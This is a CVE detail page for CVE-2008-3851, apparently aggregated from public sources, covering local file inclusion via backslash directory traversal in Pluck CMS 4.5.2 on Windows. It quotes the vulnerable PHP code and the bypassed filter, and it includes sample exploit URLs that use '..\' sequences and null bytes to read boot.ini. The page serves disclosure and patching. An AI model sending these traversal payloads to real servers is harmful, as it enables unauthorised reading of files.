CVE-2008-3851 : Detail

CVE-2008-3851

Directory Traversal
A01-Broken Access Control
1.63%V3
Network
2008-08-27
21h00 +00:00
2018-10-11
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple directory traversal vulnerabilities in Pluck CMS 4.5.2 on Windows allow remote attackers to include and execute arbitrary local files via a ..\ (dot dot backslash) in the (1) blogpost, (2) cat, and (3) file parameters to data/inc/themes/predefined_variables.php, as reachable through index.php; and the (4) blogpost and (5) cat parameters to data/inc/blog_include_react.php, as reachable through index.php. NOTE: the issue involving vectors 1 through 3 reportedly exists because of an incomplete fix for CVE-2008-3194.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 6300

Publication date : 2008-08-24 22h00 +00:00
Author : DSecRG
EDB Verified : Yes

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-037 Application: Pluck CMS Versions Affected: 4.5.2 Vendor URL: http://www.pluck-cms.org/ Bug: Multiple Local File Include Exploits: YES Reported: 28.07.2008 Vendor Response: 03.08.2008 Solution: YES Date of Public Advisory: 25.08.2008 Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Pluck CMS has Multiple Local File Include vulnerabilities. Details ******* 1. Local File Include vulnerabilities found in script data/inc/themes/predefined_variables.php Vulnerable GET parameters "blogpost", "cat" and "file". First discovered by AmnPardaz Security Research Team [http://www.bugreport.ir/index_48.htm]. Vendor fixed vulnerability in version 4.5.2 by blocking directly access to this file [http://www.pluck-cms.org/releasenotes.php#4.5.2]. However, attacker still can exploit this vulnerability from index.php file. Code [line 15-46] ----------------- ################################################# //Make sure the file isn't accessed directly if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("login.php", $_SERVER['SCRIPT_FILENAME']))){ //Give out an "access denied" error echo "access denied"; //Block all other code exit(); } //Include Translation data include ("data/settings/langpref.php"); include ("data/inc/lang/$langpref"); //Get Site-title $sitetitle = file_get_contents("data/settings/title.dat"); //Get the page-data $filetoread = $_GET['file']; $album = $_GET['album']; $blogpost = $_GET['blogpost']; $cat = $_GET['cat']; if (($filetoread) && (file_exists("data/content/$filetoread"))) { include "data/content/$filetoread"; } elseif ($album) { $title = $album; } elseif (($blogpost) && (file_exists("data/blog/$cat/posts/$blogpost"))) { include("data/blog/$cat/posts/$blogpost"); } elseif ((!file_exists("data/content/$filetoread")) && (!$album) && (!$blogpost)) { $title = $lang_front1; $content = $lang_front2; } ################################################# Pluck CMS has security module that checks for hacking attempts and blocks them. Code ---- ################################################# //Remote File Inclusion //Check for strange characters in $_GET keys //All keys with "/" or ":" are blocked, so it becomes virtually impossible to inject other pages or websites foreach ($_GET as $get_key => $get_value) { if ((ereg("/", $get_value)) || (ereg(":", $get_value))) { eval("unset(\${$get_key});"); die("A hacking attempt has been detected. For security reasons, we're blocking any code execution."); } } ################################################# This vulnerability can be exploited only on systems that accept backslash as a path separator. Example: http://[server]/[installdir]/index.php?file=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00 2. Local File Include vulnerabilities found in script data/inc/blog_include_react.php Vulnerable GET parameters "blogpost" and "cat". Code [line 15-30] ----------------- ################################################# //Make sure the file isn't accessed directly if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("login.php", $_SERVER['SCRIPT_FILENAME']))){ //Give out an "access denied" error echo "access denied"; //Block all other code exit(); } //Predefined variable $blogpost = $_GET['blogpost']; $cat = $_GET['cat']; $pageback = $_GET['pageback']; list($reactiondir, $extension) = explode(".", $blogpost); //Include the blogpost include("data/blog/$cat/posts/$blogpost"); ################################################# Attacker can exploit vulnerability from index.php file. This vulnerability can be exploited only on systems that accept backslash as a path separator. Example: http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00 Solution ******** Vendor fix this flaw on 22.08.2008. New version of Pluck CMS 4.5.3 can be download here: http://www.pluck-cms.org/download.php Release notes: http://www.pluck-cms.org/releasenotes.php#4.5.3 About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian) # milw0rm.com [2008-08-25]

Products Mentioned

Configuraton 0

Microsoft>>Windows >> Version *

Pluck>>Pluck >> Version 4.5.2

    References

    http://www.securityfocus.com/bid/30820
    Tags : vdb-entry, x_refsource_BID
    http://securityreason.com/securityalert/4195
    Tags : third-party-advisory, x_refsource_SREASON
    https://www.exploit-db.com/exploits/6300
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://secunia.com/advisories/31607
    Tags : third-party-advisory, x_refsource_SECUNIA